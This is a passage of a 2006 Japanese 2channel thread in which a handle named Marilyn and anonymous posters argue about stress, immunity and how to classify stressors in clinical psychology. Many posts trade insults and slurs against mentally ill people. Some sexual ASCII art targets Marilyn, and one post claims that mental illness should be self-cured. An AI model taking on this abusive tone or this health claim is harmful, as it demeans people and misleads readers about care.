::l// ,'    ヽ、 ヾ;ヽ   ``'´ /,>‐''" ̄__,,.. --‐''"У/::.           ヾー-`'=ー-、
//.! |. ,   ヽ,.ヽト、,、      // ,.r '' "´    ̄ ̄ , イ ./:::::.:.           i     `ヽ.\
|:! .| .!i l  、 :ヽト、!l'゙`ヽ,ヽ / /   /    ,     ,.-‐/ / //:::::.           |      ゙、.l
  ハ レl ',   \ヾミヽゞ=イ   /  ./   ./   | ./´ ./.' ! |,'::::::::.:.           /       l l,
 /ハVい、 ':, `ヾミ、ー>-‐:| ./   /  /_|/  /  | j'::::::::::.:.         .,.イ:::.       .! |
 !.| |`トlヽヽ ヽ  ヽ`ヾ:;\| /  ,.'  //   |  ,'   .l ,'::::::::.:.:.        .:/:;::i::::.:.        | |
 |.ハ. l ',.', \ヽ,ヽ   `:.、 \〈  / _,. イ /   .|  !   ,' !::::::::.:.:.        .::;' / ノ::::.:.      i ,'
   ヾ、い  l::::/ヽ、  `ヽ、`j./´  / ,′  |  |  ,' .|:::::____        |:/::::.:.:       / |
     ヽヾ;、、l;ハ、-`ヽ、.  l   ノ /    .l  l. | .,'  「-―‐ ''"´二二二`' ー‐ - 、 __    / .l
      \ヽ-‐ヽ   ```` i / /  .,'  l、_ | .| .l  7"``::ー--===:;_三二_`'_ー-=`>-,イ  |


99 :没個性化されたレス↓:2006/10/31(火) 00:15:09
                      /⌒ヾ⌒ヽ.
                     /   丿  ..ヾ
                   /   。 人    )
                  (。...。_ .ノ 。ヾ。...丿
                   ( _ .  .. ノ   )
                  /        /
                  / ノ し   /
                  / ) と   /
               .  /      /
                 /      /
                /     /
                 /     /
                /  ..  /
               /   . /
        ∧ ∧     /   /
 シコ    ( ゚Д゚)、   /   /
      /     \ / .  /
 シコ  ( ) ゚ ゚/\ゝ 丿.../ カウンセラーの実像
      \ ヽ、 (  /  ⊂//
        \ ヽ / ⊂//
        ( \つ  /
        |  |O○ノ \
        |  |    \ \
        |  )     |  )
        / /      / /
       / /       ∪
       ∪


100 :没個性化されたレス↓:2006/10/31(火) 00:18:54
免疫系だけをみても駄目ですよ。
生体というシステムをみる視点で大切なことは、
大まかに分類してみるとですね、
情報伝達のネットワークである、神経系と内分泌系
物流のネットワークである、血管系
防御のネットワークである、免疫系
という四つのネットワークがあるわけなんです。
このネットワークが相互に影響を与え合い生体を統御しているのです。
とくに、ここでは、神経系と免疫系、内分泌系との関係という視点で
鳥瞰していくことがまず臨床心理学的な視点なのです。

101 :没個性化されたレス↓:2006/10/31(火) 01:32:05
自己の原因を他者に帰属することにより、
自己の自尊心を保つことを何というか?

102 :101:2006/10/31(火) 01:33:00
まりりんさん、お答えください。

103 :マリリン ◆IxLejT1KUU :2006/10/31(火) 09:00:48
>>101

そういうのを”責任の転嫁”と言うんだよ。

話をすり替えようと必死だな。バーカ


>>100
>情報伝達のネットワークである、神経系と内分泌系
>物流のネットワークである、血管系
>防御のネットワークである、免疫系
>という四つのネットワークがあるわけなんです


おっ! ちょっとまともなことが書き込んであるか?


104 :マリリン ◆IxLejT1KUU :2006/10/31(火) 09:04:14
>神経系と免疫系、内分泌系との関係という視点で
>鳥瞰していくことがまず臨床心理学的な視点なのです。


鳥瞰(高い所から見おろし眺める)していてどうするのさ。具体的に臨床の現場で
応用されなきゃ、そんなこと言っていても、糞の役にも立ちませんわ。


やっぱり、お馬鹿だわ。

105 :没個性化されたレス↓:2006/10/31(火) 09:10:14
マリリンちゃんは
生理痛は痛むほう?

106 :没個性化されたレス↓:2006/10/31(火) 10:38:20
しかし、マリリソの無知が明白になったのは事実
免疫だけしか頭にないらしい
木をみて森を見ずとはこのこと

107 :没個性化されたレス↓:2006/10/31(火) 10:45:31
もう一度、自分で調べてごらん
ストレスが免疫機能を低下させるという事実を
安保の本には書いてないのか?

108 :没個性化されたレス↓:2006/10/31(火) 11:06:22
木を知らずして森を語るヴァカ。

109 :没個性化されたレス↓:2006/10/31(火) 11:11:59
>>104
システムとしての思考法を持つことは臨床現場で必要不可欠なんですが
目の前の症状という木をみるだけでなく、その症状が生起した背景や
その症状が社会生活の中でどのような問題を生起させているか
という森にも同時に目をやる必要があります
当たり前のことですね?
難しかったら、言って下さい
かなり、易しく書いたつもりです
爪もんだりサプリ飲んだりして免疫機能を高めるだけではダメなんですね
ストレスフルな生活環境の見直しやその対処法も同時に必要になるのです

110 :没個性化されたレス↓:2006/10/31(火) 11:17:22
ストレス反応が免疫機能に与える影響を知らなかったのなら、素直に学べばよい。
マリリソさん、謙虚になりなよ。

111 :没個性化されたレス↓:2006/10/31(火) 11:24:25
マリリソおばちゃんさ、ネタじゃなくて
マジでわかんないなら言ってよ。
プライドが傷つくだろうが、<初心者向け>の本を教えてあげるからさ。



112 :マリリン ◆IxLejT1KUU :2006/11/01(水) 19:49:08
>>107
>ストレスが免疫機能を低下させるという事実


こんなことは誰だって知っているんじゃないの?

ただ、医者も臨床心理士も臨床に応用のさせ方を知らないだけ。


>>108
>木を知らずして森を語るヴァカ。

同意。

113 :マリリン ◆IxLejT1KUU :2006/11/01(水) 19:55:00
>>109

>爪もんだりサプリ飲んだりして免疫機能を高めるだけではダメなんですね
>ストレスフルな生活環境の見直しやその対処法も同時に必要になるのです


これは、確かにそうだね。

でもね。
>ストレスフルな生活環境の見直し

ってどうやってするの?言うだけなら、そりゃー言えるよ。

環境を見直せばすべて解決なんて、いつまでたっても
ストレスの多い環境の見直しなんてできない人は多い。

その場合、どうするのさ?だだ、鳥瞰(高い所から見おろし眺める)している
だけなの?


114 :マリリン ◆IxLejT1KUU :2006/11/01(水) 19:57:23
>>110>>111

>ストレス反応が免疫機能に与える影響を知らなかったのなら

私なりには整理して理解しているつもりだ。ただ、私の持っている知識が
あなた達と同じかどうかはわからない。


115 :マリリン ◆IxLejT1KUU :2006/11/01(水) 19:58:25
>>111
<初心者向け>の本を教えてあげるからさ

読んで見るから教えて。

116 :没個性化されたレス↓:2006/11/01(水) 20:04:52
心理士のやるべきことは、ストレスマネジメントです。
それ以上のことは範囲外ですので他に任せます。
ストレスが身体や社会活動に与える影響は計り知れません。
ストレスは万病のもとです。
薬やサプリや癒しなんかでは一時凌ぎにしかなりません。
もちろん必要性は認めますが。
大切なのは、ストレッサーやストレス反応への対処など
早期介入が不可欠になります。

117 :マリリン ◆IxLejT1KUU :2006/11/01(水) 20:09:53
>>116
>ストレスマネジメント

って、具体的にどうやってするつもりさ。滅茶苦茶難しいよ。

たとえば、働きすぎて、体や精神を病んでいる人がいる、生きていく
ためには、働かざる終えないんだよ。

こういう人のストレスマネジメントってどうやってするの?


118 :没個性化されたレス↓:2006/11/01(水) 20:20:11
ストレッサーには、物理化学的・生物化学的・
心理社会的なものがあります。
ここで問題となるのは心理社会的ストレッサーであり
他と比較した場合、客観的指標が脆弱なものです。
これは通常、面接や精神検査によって測られます。

119 :没個性化されたレス↓:2006/11/01(水) 20:33:07
ストレスに対する反応としては、
身体的反応・精神的反応・行動異常という
三つの側面がみられます。
また、ストレッサーとストレス反応の間にある
個人の身体的・精神的調整要因も考えていく必要があります。
これは主にストレスに対する認知評価、パースナリテー、
過去の経験、周囲の支援環境など総合的にストレス耐性を探ります。


120 :没個性化されたレス↓:2006/11/01(水) 20:47:57
ストレス対処としては、環境へのアプローチと
情動へのアプローチとに分けられます。
前者は、問題に対する他の打開策の検討を探ったり、
環境と自己との関係そのものを変化させて対処するものであり、
後者は、ストレスそのものに対する感じ方を変化させて、
適切な情動を作り出すアプローチです。
通常は、それぞれのケースに応じて柔軟に対処法が変わります。


121 :マリリン ◆IxLejT1KUU :2006/11/01(水) 23:46:22
>>118

>ストレッサーには、物理化学的・生物化学的・ 心理社会的なものがあります。

この分類が、良く分かりませんので、貴方のレスにお答えを書き込む前に教えて下さい。

アスベストなどは、社会的なストレスともとれますし、物理的ストレスとも考えられます
どちらに入るのでしょう。

農薬?、栄養不足は?何処に分類されますか?

物理化学的・生物化学的・ 心理社会的、それぞれか゜どういうものを言っているのか
教えて下さい。


122 :没個性化されたレス↓:2006/11/02(木) 00:02:40
     .r-,    .,/゙゙'i、                       r'''i、
     .| ゙l .ヒ'''''''″  ヘi、  .,,,,             i、   ,,,,,,,,,!  |,,
     .|  | .゙―ー 、 .ィ''''′ .゙l.゙i、  ┬-,,、、    l .゙l,  .゙l__  .,,,,)  ,i、  .,,,,,,_
     .|  ゙l    〕 |    │゙l,   ゙''i、 `''ヽ  | ゙l    │ .|    .|│  ゙ヾゝ、
      ゙l  ゙l  ,,,,,,〕 .゙l、   .゙l,`i、   ゚'ヽ,_ |  .゙l, .゙i  .,,,l . l,,,,,、  ゙!,,ヽ、  ヽ ゙|
      .゙l、 .゙l .| _,,,、‘'''''i   ヽ, `-=@ ``  'i . l、 { ,r┐,,,.,}  ゚i、`|   ゚-ノ
      .゙l,  ヽ.| ―゙_,,ノ''''    ゙ヽ,,,ノ       .゚ヽ,,,| .ヽヽ,,ソ       ''
       ゙ー'" ~'''''''°


123 :没個性化されたレス↓:2006/11/02(木) 00:42:59
まず、生物化学的は生物学的に訂正します。
そうすると見えてきません蚊?
ちょっと自分で思考してみてください

124 :没個性化されたレス↓:2006/11/02(木) 00:54:09
>>121
どちらに入るかは、クライアントをよく診ること。
この意味、この視点、わかりますか?
S(ストレッサー)→O→R(ストレス反応)
あなた、O=クライアントを無視して考えています?
共通した反応があれば、人により変化する反応もあります。
キムチをみるだけて体調が悪くなる人。
ヨダレたらすロボ。
わかりましたか?


125 :没個性化されたレス↓:2006/11/02(木) 08:12:01

                     目障りなんだよ、タコが!!
                           ∧_∧
◎               へ          (´<_` )  
  \    ≫ ̄ ̄ ̄ ̄彡ヽ ̄ ̄ ̄ ̄ ̄ ̄⌒    \
      彡____人  )  ̄ ̄ ̄ ̄ ̄\       )
 ◎-●一( * *    ヽミ          |.      |
      ((_ _ (( ( ;;-=- ̄=─ ̄ '⌒ヽ〉     | |
 ‘,'.∴・,‘・(ε ((  ヽ-=_二__ ̄    \     | |
  ,'.・∵  ヽ_____ ノ       ̄\     / /
       (__))     ヽ        .\__/_丿
       |  | 臨笑心狸学 ヽ          .|  |
       |  |______)          |  |
       |  〉三三三[□]三)        |  |
       ノノノノ:::::::::::::::::::::::::::::/         \ ヽ
       ~~~|::::::::::::::::::/:::::::/              \ |
         |;;;;;;;;;;;;;;;/;;;;;;;/            / ノ
        (___|)_|)           `-


126 :没個性化されたレス↓:2006/11/02(木) 20:51:39

http://school5.2ch.net/test/read.cgi/edu/1162432793/

基地害が殺人・爆破予告!!
本気でやるようです

http://school5.2ch.net/test/read.cgi/edu/1162432793/

基地害が殺人・爆破予告!!
本気でやるようです

http://school5.2ch.net/test/read.cgi/edu/1162432793/

基地害が殺人・爆破予告!!
本気でやるようです


127 :マリリン ◆IxLejT1KUU :2006/11/02(木) 21:00:27
>>123
>生物化学的は生物学的に訂正します。
>そうすると見えてきません蚊?

専門用語の場合、「見えてきませんか」では困ります。貴方の意味するものと
私の考えるものが違うかも知れない。だから、ちゃんと説明して下さい。

128 :マリリン ◆IxLejT1KUU :2006/11/02(木) 21:10:54
>>124
>どちらに入るかは、クライアントをよく診ること。
>この意味、この視点、わかりますか?

こんな曖昧なこと言われても、ストレッサーの定義は患者の反応とは関係なくされる
べきです。


ストレスの分類は、患者がどのような反応を示すかとは関係ないです。

また、ストレッサーの種類分けが、他分野の人間にも理解できるものでないと、
他分野の人と組んで仕事をするのが難しくなりませんか?

129 :マリリン ◆IxLejT1KUU :2006/11/02(木) 21:18:05
>>118
>ここで問題となるのは心理社会的ストレッサーであり
>他と比較した場合、客観的指標が脆弱なものです。


ストレスに対する客観的指標はどの種類のストレスでも脆弱だと思います。

別に心理社会的ストレッサーだけが脆弱だとは思いません。

130 :マリリン ◆IxLejT1KUU :2006/11/02(木) 21:22:36
>>120
>前者は、問題に対する他の打開策の検討を探ったり、
>環境と自己との関係そのものを変化させて対処するものであり、
>後者は、ストレスそのものに対する感じ方を変化させて、
>適切な情動を作り出すアプローチです。


これは、総論ですよね。別に間違っているとは思いいませんが、総論だけでは
治療法にまで話を勧めることはできません。

方法論はどうなっていますか?

131 :マリリン ◆IxLejT1KUU :2006/11/02(木) 21:29:27
>>130

自己レス 訂正

方法論はちょっと、意味が違うような気がするので各論に訂正して下さい。

132 :没個性化されたレス↓:2006/11/02(木) 23:56:50
実りのない話してるなあ
もっと実践に役にたつ話してよ

133 :没個性化されたレス↓:2006/11/03(金) 00:28:48
ィィr--  ..__、j
   ル! {       `ヽ,       ∧
  N { l `    ,、   i _|\/ ∨ ∨
  ゝヽ   _,,ィjjハ、   | \
  `ニr‐tミ-rr‐tュ<≧rヘ   > 臨笑心狸ガクが
     {___,リ ヽ二´ノ  }ソ ∠ 役立つことなんてないんだよ! 
    '、 `,-_-ュ  u /|   ∠  
      ヽ`┴ ' //l\  |/\∧
--─‐ァ'| `ニ--‐'´ /  |`ー ..__   `´
    く__レ1;';';';>、  / __ |  ,=、 ___
   「 ∧ 7;';';'| ヽ/ _,|‐、|」 |L..! {L..l ))
   |  |::.V;';';';'| /.:.|トl`´.! l _,,,l | _,,|  , -,
    ! |:.:.:l;;';';';'|/.:.:.:||=|=; | |   | | .l / 〃 ))
    l |:.:.:.:l;';';'/.:.:.:.:| ! ヽ \!‐=:l/ `:lj  7
    | |:.:.:.:.l;'/.:.:.:.:.:.! ヽ:::\::  ::::|  ::l /


134 :マリリン ◆IxLejT1KUU :2006/11/03(金) 13:20:17
>>132

そうだね。こんな禅問答のような話では終わらせたくないよね。

だけど。理論的な部分は摺り合わせるところは合わせておかないと、話が
ずれていても気がつかないからね。


医療関係者や獣医は、基礎医学が基礎学問にあるから、言い争っても議論になるけど、
心理臨床の場合は、合わせどころが私には分からない。

私の土俵で話をして下さいとは言わないけど、ちょっとは共通に話せる部分が
ないと、それで臨床やっていますと言われても、私は理解不能になってしまう。


それでね、合わせどころを、探しているんだよ。

135 :マリリン ◆IxLejT1KUU :2006/11/08(水) 08:43:12

ふーん、>>124は逃げちゃったのかな?


マリリンはストレスは下記のように分類する。
  
   1.精神的ストレス
   2.肉体的ストレス
   3.環境ストレス (暑さ、寒さ、アスベスト、農薬、etc)
   4.免疫学的ストレス(膠原病、感染症etc)


この分類で、良いのはストレスと疲労との関係がはっきりしてくることだ。

物理化学的・生物学的・ 心理社会的という分類より、いろいろなストレスを分類し易いし
臨床で患者さんに説明しやすいと思うけど。


どう思う?>all

136 :マリリン ◆IxLejT1KUU :2006/11/08(水) 12:19:52

ストレスと疲労
http://vetmaririn.blog56.fc2.com/blog-entry-147.html#more

参考にしてください。

137 :マリリン ◆IxLejT1KUU :2006/11/09(木) 08:27:06
ふむ? 誰もレスがつけられないのかな?

臨床系の人。どうした?情けないぞ。がんばれ!

138 :没個性化されたレス↓:2006/11/09(木) 08:41:52
吉外がくればまともな議論をしたいものは逃げるに決まってる。
この板の現状を見てみりゃ解るだろ。
まともな議論を求める人間はとっくに見限って,お前みたいな腐れコテしか残ってないだろうが

139 :没個性化されたレス↓:2006/11/09(木) 08:44:24
>>135
粒度も統一されていないし,それぞれが直行した概念でもない。
こんなものが分類?ちゃんちゃら可笑しいな。

140 :マリリン ◆IxLejT1KUU :2006/11/09(木) 08:48:45
>>139

じぁー、貴方の考えはどのように分類するの?

人の考えを人を否定するならだけなら誰にでもできるよ。



自分の考えを書いてみてね。




141 :マリリン ◆IxLejT1KUU :2006/11/09(木) 08:49:05
ついでに
>粒度も統一されていないし,それぞれが直行した概念でもない。

これ、全然意味が分からないんだけど説明願います。

142 :没個性化されたレス↓:2006/11/10(金) 01:13:37
>>141
分類とは,その分類された項目それぞれのカヴァーする範囲がほぼ均等で(粒度が均一),
且つ相互にそのカヴァー範囲が重複していてはいけない(直交性の担保)

こんなこと,学問の基礎の基礎だぞ。それを指摘されても全く意味が解らないということは,
お前がまともな高等教育を受けていないか,受けていても全く自分のものにしていないということだ。
つまりは,お前は議論をするに足る存在でない。

そんなアホウに,わざわざ自分の思考を開陳するほど暇じゃない。
古の聖人も,「聖なるものを犬に与えてはいけません。」と教えてる。

せいぜい1人で虚空に向かってタワゴトをわめいておけ。吉外に興味を持った奇特な人物が,
老婆の繰言を聞いてくれるかも知れんぞ。

143 :マリリン ◆IxLejT1KUU :2006/11/10(金) 14:46:08
>>142
ここで取り合って良いのは、下記の部分だけですね。後は、誹謗中傷ですね。


>分類とは,その分類された項目それぞれのカヴァーする範囲がほぼ均等で(粒度が均一),
>且つ相互にそのカヴァー範囲が重複していてはいけない(直交性の担保)

>>118のこの分類は
>物理化学的・生物学的・ 心理社会的

粒度が統一され,それぞれが直行した概念がありますか?

あるなら説明して下さい。

144 :マリリン ◆IxLejT1KUU :2006/11/10(金) 14:53:06
>分類とは,その分類された項目それぞれのカヴァーする範囲がほぼ均等で(粒度が均一),
>且つ相互にそのカヴァー範囲が重複していてはいけない(直交性の担保)


分類に、何故、このような規制が必要なのか、意味が分かりません。
どの分類に入れるか迷うという項目って必ず出てくるじゃないですか。

それが、分類することの難しさだと私は、以前に心理学板で教えてもらったよ。

特に臨床に使う分類は、実際の診療に役立てば良く。あまり厳密性は要求されない
ですけどね。

大切なのは臨床を実践する上で、使いやすいかどうかだと思います。

145 :没個性化されたレス↓:2006/11/10(金) 15:08:55
分類基準の定義は厳密に。
分類行為は柔軟に。

こんな当たり前のことを指摘されているのに、理解できず逆ギレ(笑)

146 :没個性化されたレス↓:2006/11/10(金) 15:13:17
>>135

生物を4つに分類したよ
1、動物
2、植物
3、犬
4、屋内で飼ってるペット

使いやすいでしょ?


と言ってるようなものだな


147 :マリリン ◆IxLejT1KUU :2006/11/10(金) 15:22:28
>>146

こんな分類、使い安い分けないでしょ。

小学生にでも、間違っていると指摘されるよ。

148 :没個性化されたレス↓:2006/11/10(金) 15:43:15
>>147

それと同じことを>>135でやってるキミは、小学生以下ですね


149 :マリリン ◆IxLejT1KUU :2006/11/10(金) 16:13:11
>>148

>>146>>135が同じだとは思えませんが、説明して下さい。

150 :没個性化されたレス↓:2006/11/10(金) 17:28:58
グラフを作りたいんなら経済学へいけ
定理を考えたいなら数学へいけ
動物実験がしたいなら生物学へいけ
人とお喋りしたいんなら友達をつくれ
会話で免疫力を高めてあげたい?じゃあ漫才師に
人に感情移入しすぎて困る?すごい思い込み&感性だね芸術が向いてるよ

じゃあ話を聞こうか。


151 :没個性化されたレス↓:2006/11/10(金) 17:40:59
>>149
どんなに説明したところで、貴方に理解できるとは思いません


152 :マリリン ◆IxLejT1KUU :2006/11/10(金) 18:17:05
>>151

昔なら、貴方の言っていることもそうかなと思ったけど、
今は、説明する能力がないと言うことがわかってしまう。

それでは臨床できないでしょう?

どうやってやってる?

獣医の学生の方が、もう少しましな答え方をするよ。


情けないよ。臨床系。  がんばれ!!!

153 :没個性化されたレス↓:2006/11/10(金) 18:20:11
↑系統樹で考えればわかるよ、ボケ

154 :マリリン ◆IxLejT1KUU :2006/11/10(金) 18:41:54
>>153

ストレスの分類と系統樹が、何関係あるのかな?

さー、がんばって、お答えしようね。



155 :没個性化されたレス↓:2006/11/10(金) 18:56:38
↑ツリー(決定木、系統樹)でカテゴライズしてみろ、低能

156 :マリリン ◆IxLejT1KUU :2006/11/10(金) 19:22:20
>>155

あのさ。調べてはきたよ。だからどうしたの?

ストレスの分類に(決定木、系統樹)を当てはめたところで、
臨床にどうやって応用するの?


そういうところがちゃんと説明できなきゃだめじゃん。

はい、やり直し。がんばってね。

157 :没個性化されたレス↓:2006/11/10(金) 19:48:21
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─ ‐-' 、;_;;;;;l:::::::::l;;;;;;l::::::::l::::::::::;!           /       も、もうしょうがないな… 坊やは
       `ヽ;::::::::l;;;;;;l::::::::ト、::::::l   u       /゙ヽ  , -─−- 、     マリリンがしてあげるね
        ヽ;:::l;;;;;;l:::::::i゙ l::::::!          |   Y´         `'ー 、,_
            ヽ;;;;;;;!:::::;l、.l:::::!          ,. -ヘ,  l             ゙ヽ     ,. -−-、
          ヽ;;;/'ル' `!::i、     ,/   ヽ、,!            _, -'、_, - '´      !
           i;i i/  l::! ` 'ー− ´       i'ト、-、,___,. -−' ´ ,. ‐'´    ..:::::/
              !     i!               ij  \_ヽ、  'ニ,. ‐'´     .:::::/ー 、
           i                       \ヽ、 /     .....::::::/     i


158 :没個性化されたレス↓:2006/11/10(金) 21:00:00
>>156
上位概念と下位概念と同位概念を
きちんとカテゴライズしなおしましょう。
はい、やり直し

159 :没個性化されたレス↓:2006/11/10(金) 21:02:46
マリリンがどこいっても相手されないのは、
学問の基礎ができてないからだね。

160 :マリリン ◆IxLejT1KUU :2006/11/10(金) 21:44:13
>>158
>上位概念と下位概念と同位概念を

何言ってる?そんなアホなこと言ってると、患者さんに馬鹿にされるし、
いつまでたっても、患者さんのお相手できないよ。アンポン。

161 :マリリン ◆IxLejT1KUU :2006/11/10(金) 21:51:17

少し、ストレスについて具体的に話そう。

上司とうまくいっていないサラリーマンの場合
 
 精神的ストレスに曝されている可能性が高い。だけど、この人が風邪をひいていた場合
 免疫学的ストレスも受けているわけだ。その上、仕事が肉体労働だった場合は、
 肉体的ストレスも受けている。煙草を吸っていた場合は環境ストレスもある。

 1つづつ除去していくのは、難しいね。


カウンセリングだけで対処しようなんて、不可能だよ。


そう思わない。

  

162 :マリリン ◆IxLejT1KUU :2006/11/10(金) 21:53:39
>>116
>心理士のやるべきことは、ストレスマネジメントです。
>それ以上のことは範囲外ですので他に任せます。
>ストレスが身体や社会活動に与える影響は計り知れません。
>ストレスは万病のもとです。
>薬やサプリや癒しなんかでは一時凌ぎにしかなりません。
>もちろん必要性は認めますが。
>大切なのは、ストレッサーやストレス反応への対処など
>早期介入が不可欠になります。


ストレスマネジメントと一口に言うけど、難しいよ。
特に、分類もちゃんとできてないようではね。

163 :没個性化されたレス↓:2006/11/10(金) 21:55:54
でも他人のオナペットが心理学の目的だはないだろ?

164 :マリリン ◆IxLejT1KUU :2006/11/10(金) 21:57:49
>>163

ごめん、意味分からない。大切なこと?

165 :没個性化されたレス↓:2006/11/10(金) 21:59:42
底が抜けた器に水を注がせて、溜まらないからと勝ち誇るバカな自称獣医がいるのはこのスレですか?

166 :没個性化されたレス↓:2006/11/10(金) 22:01:36
>>164
大切じゃないのか?


167 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:06:06
>>165>>166

あの、私こういう話苦手なんだよ。もっと具体的な話してくれない。例え話は
良く分からないわ。


168 :没個性化されたレス↓:2006/11/10(金) 22:07:42
なんだか定期的に、シジフォスのような苦労を買って出る連中が現れるよなあ

賭けても良いが、このデンパ自称臨床のプロはミジンコ以下の理解力しか無い。
盲人に色彩を理解させようと頑張るほうが、まだ建設的だと思うぞ

169 :没個性化されたレス↓:2006/11/10(金) 22:12:26
>>160
患者さんに馬鹿にされるのはあなたですよ。
きちんと分類できないようでは、人の臨床は出来ませんね。

170 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:14:28
>>168

そうやって、逃げるか。

医者板の方がまだ、またもだなぁ。

心理学では、どのように臨床教えてる ?


171 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:17:41
>>169

あんた達だって、まともな分類できてないじゃない。

>心理士のやるべきことは、ストレスマネジメントです。


こんな状態で、一人前の口聞くんじゃないわよ。

悔しかったら、ちゃんとした分類して味噌。オタワケ。

172 :没個性化されたレス↓:2006/11/10(金) 22:21:28
>>170
この板で偉そうに臨床を語りながらその質問か?
この板に居座って何年だよ。

この一点だけでもお前に学ぼうという姿勢がないのが丸分かりだな

173 :没個性化されたレス↓:2006/11/10(金) 22:25:02
>>118の分類がまともじゃないと必死になって主張しているのが自分だけだと、このアホは気付いてないのか、気付いているが揉み消せると思ってるのか、どっちだろう

174 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:25:14
>>172

あんたも、何年前からいるかも知れないけど、進歩していないね。

たった。これだけのことが答えられないか。




175 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:29:10
>>173

分かった。
>物理化学的・生物学的・ 心理社会的なものがあります。

分かった。この分類を心理臨床では主張するわけだ。

だったら、風邪をひいて、上司との関係に悩む、肉体労働の煙草を吸うサラリーマン
のストレスを分析して、カウンセリングだけで、どのように対処するのか考えてごらん。

176 :没個性化されたレス↓:2006/11/10(金) 22:29:38
この板で臨床心理学、なかんずく臨床心理学教育を語るなら、専門であれ素人であれ、当然押さえて置くべき知識だが。
たしか、過去にも何度もその欠如を指摘されて逆ギレしてたよな

全く成長も学習もしねえバカだよな

177 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:34:50
>>176

あんたね、私にあんた達の土俵で、ものを考えろと強制するつもり。

どこかの馬鹿医者と変わらないね。

自分たちの、狭い世界でしかものが考えられない。これでは、まともな臨床はできないよ。

患者はあんた達の土俵の外の人間だ。

貴方達の考え方やり方を理解せよという方が無理だ。

それで治療方法をカウンセリングしか持たなくて、どうやって患者に納得させるつもりだ。馬鹿



178 :没個性化されたレス↓:2006/11/10(金) 22:34:53
カウンセリングだけ?
誰かそんなこと言ってた?
セラピストが丸抱えしなければならないとあなたは考えるの?

179 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:37:59
>>178

どういう場合に何処に患者を放り出すつもりさ。

美味しい部分だけ手がけて、臨床やってるふりして、後は、よそへ回す?

患者は、そんな人たちにお金を払う、余裕はないよ。

180 :没個性化されたレス↓:2006/11/10(金) 22:38:54
あんた、バイオ・サイコ・ソーシャルって知ってる?
身体の医学でも常識になりつつある概念なんだけど。
ま、知らないか

181 :没個性化されたレス↓:2006/11/10(金) 22:42:59
木をみて森を見ず

182 :没個性化されたレス↓:2006/11/10(金) 22:43:04
てか基本。心の病はまだ完全に解明されいないんだから
自力で克服、治すべき。
どうしても他人の力が必要だというなら話を聞いてもらう程度の
心構えで医者やカウンセラーのもとに行くべき。

183 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:46:01
>>182

話なんか、聞いていらん。糞の薬にもたたん。

私が専門家と話すとしたら、情報が欲しいから話す。

184 :没個性化されたレス↓:2006/11/10(金) 22:46:05
>>177
自分でリングを担いで来てこっちの土俵に無理やり乗せて、自分のリングで考えろと面の皮の厚いことをぬかしているのはテメーだろうが

185 :没個性化されたレス↓:2006/11/10(金) 22:49:47
黒猫は、>>70をきちんと調べて理解したのか?

186 :没個性化されたレス↓:2006/11/10(金) 22:50:20
つか「郷に入っては郷に従え」って諺も知らんのか、このバカは。
ブッシュが賢く見えるくらいのバカだな

187 :没個性化されたレス↓:2006/11/10(金) 22:53:46
八百屋に肉を買いに来るバカ客に、肉を差し出して納得してもらおうなんて奇特な八百屋は普通無いだろ

188 :没個性化されたレス↓:2006/11/10(金) 22:57:15
ロバ乙。

189 :マリリン ◆IxLejT1KUU :2006/11/10(金) 22:59:59
自分の土俵でしかものを考えられない奴らだな。


>>70については>>77>>78>>80>>82>>83>>84>>86>>89
でお答えしてるよ。


今日は、疲れたんでこれで落ちるわ。 お休み。


190 :マリリン ◆IxLejT1KUU :2006/11/10(金) 23:00:47
>>188

ロボさんは、こんなアンポンではなかったはずだよ。

191 :没個性化されたレス↓:2006/11/10(金) 23:01:02
>>189
お前こそが自分の土俵から1歩たりとも出ていないわけだが

192 :没個性化されたレス↓:2006/11/11(土) 01:26:29
;;;;;;;;;;/::/::::::::::::::;/:::::::::::/;/::::::::::::::::::;イ:::::::/ i::::;/     i!ヽ、l:::::::/ l;;;;;;;;;;:/゙!::::::!
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;;;;;;;l::/::::::::::::/;/::::::::::/;;;i::::::::::;/::::::/ l::::/ l:/ . /レ'゙ー''/、/ 〃 ,l;fi;;;/  l;::/
;;;;;;;レ'::::::::::::/;f゙:::::::::/;;;;i:::::::::/::::::::i  !::l   '  、 /:ジ   !  ,ノ   ,/ 〃  l;/
;;;;;;/::::::::::::/;;;!::::::::::i;;;;;;l:::::::::;!::::::::j  l;!  // ヾ/    ヽ、    '゙   '゙
;;;;/::::::::::::/;;;;l:::::::::::!;;;;;;!:::::::;':::::::::i      ,// `   u   ヽ、_
;;/::::::::::::/;;;;;;l::::::::::l;;;;;;l::::::::l:::::::::::!       //        ,ノ
;/:::::::::::/;;;;;;;;!:::::::::!;;;;;;!::::::::!::::::::::l  o            r'´
:::::::::::::/;;;;;;;;;|:::::::::!;;;;;;l::::::::l:::::::::::;!           , -‐'
─ ‐-' 、;_;;;;;l:::::::::l;;;;;;l::::::::l::::::::::;!           /       も、もうしょうがないな… 坊やは
       `ヽ;::::::::l;;;;;;l::::::::ト、::::::l   u       /゙ヽ  , -─−- 、     マリリンがしてあげるね
        ヽ;:::l;;;;;;l:::::::i゙ l::::::!          |   Y´         `'ー 、,_
            ヽ;;;;;;;!:::::;l、.l:::::!          ,. -ヘ,  l             ゙ヽ     ,. -−-、
          ヽ;;;/'ル' `!::i、     ,/   ヽ、,!            _, -'、_, - '´      !
           i;i i/  l::! ` 'ー− ´       i'ト、-、,___,. -−' ´ ,. ‐'´    ..:::::/
              !     i!               ij  \_ヽ、  'ニ,. ‐'´     .:::::/ー 、
           i                       \ヽ、 /     .....::::::/     i


193 :没個性化されたレス↓:2006/11/11(土) 09:49:42

        これがマリリンの臨笑稼学よ

::::::::::::::::。::::::...... ...   __    :::::::::::::::::::: ..::::: . ..::::::::
::::::::...... ....:::::::゜::::::::::.. /:::::::::::ヽ   ::::。::::::::::::::::: ゜.::::::::::::
:. .:::。::... . .:::::::::::::  |;;;;ハ;;;;;;;;;;|  :::::。 , r−、  ::::::::::::: . . . ..::::
   ,r‐-、...:☆彡:::: トイ ^ o^ t;|    /    `、  ::::::::::゜:::::::::: ...:: :::::
  /  、 \ . . . ..: >‐-ュr'ニヽ、  /  i   l、  ::::::. .... .. .::
  |   '|  \ _.r'´ノニーイニヽ,\/    |   l  ::::。::::::.
